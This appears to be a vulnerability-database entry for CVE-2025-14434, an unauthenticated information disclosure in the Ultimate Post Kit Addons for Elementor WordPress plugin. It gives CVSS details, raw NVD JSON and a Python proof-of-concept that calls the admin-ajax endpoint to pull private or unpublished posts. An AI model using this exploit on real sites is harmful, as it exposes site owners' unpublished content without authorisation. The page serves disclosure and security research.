Security Vulnerability Report
中文
CVE-2025-14434 CVSS 5.3 MEDIUM

CVE-2025-14434

Published: 2025-12-31 06:15:40
Last Modified: 2026-04-15 00:35:42

Description

The Ultimate Post Kit Addons for Elementor WordPress plugin before 4.0.16 exposes multiple AJAX “load more” endpoints such as upk_alex_grid_loadmore_posts without ensuring that posts to be displayed are published authentication. This allows an unauthenticated attacker to query arbitrary posts and retrieve rendered HTML content of private and unpublished ones.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Post Kit Addons for Elementor < 4.0.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14434 PoC - Unauthenticated Information Disclosure # Target: Ultimate Post Kit Addons for Elementor < 4.0.16 def exploit_cve_2025_14434(target_url, post_id): """ Exploit the unauthenticated information disclosure vulnerability in Ultimate Post Kit Addons for Elementor plugin. Args: target_url: Base URL of the WordPress site post_id: ID of the post to retrieve (can be private/unpublished) Returns: HTML content of the requested post """ # AJAX endpoint for 'alex_grid' load more functionality endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the request data data = { 'action': 'upk_alex_grid_loadmore_posts', 'post_id': post_id, # Target post ID (can be private/unpublished) 'page': 1, 'nonce': '' # Nonce may not be properly validated } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully retrieved content for post ID: {post_id}") print(f"[+] Response length: {len(response.text)} bytes") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def main(): if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <post_id>") print(f"Example: python {sys.argv[0]} http://example.com 1") sys.exit(1) target_url = sys.argv[1].rstrip('/') post_id = sys.argv[2] print(f"[*] Target: {target_url}") print(f"[*] Targeting post ID: {post_id}") print(f"[*] Exploiting CVE-2025-14434...") content = exploit_cve_2025_14434(target_url, post_id) if content: print("\n[+] Retrieved content preview:") print(content[:500] + "..." if len(content) > 500 else content) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14434", "sourceIdentifier": "[email protected]", "published": "2025-12-31T06:15:40.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Post Kit Addons for Elementor WordPress plugin before 4.0.16 exposes multiple AJAX “load more” endpoints such as upk_alex_grid_loadmore_posts without ensuring that posts to be displayed are published authentication. This allows an unauthenticated attacker to query arbitrary posts and retrieve rendered HTML content of private and unpublished ones."}, {"lang": "es", "value": "El plugin de WordPress Ultimate Post Kit Addons for Elementor, en versiones anteriores a la 4.0.16, expone múltiples endpoints AJAX de 'cargar más' como upk_alex_grid_loadmore_posts sin asegurar que las publicaciones a mostrar sean autenticación publicada. Esto permite a un atacante no autenticado consultar publicaciones arbitrarias y recuperar el contenido HTML renderizado de publicaciones privadas y no publicadas."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "references": [{"url": "https://wpscan.com/vulnerability/bf3c3193-fc9c-454b-ad4f-94ba1669a312/", "source": "[email protected]"}, {"url": "https://wpscan.com/vulnerability/bf3c3193-fc9c-454b-ad4f-94ba1669a312/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}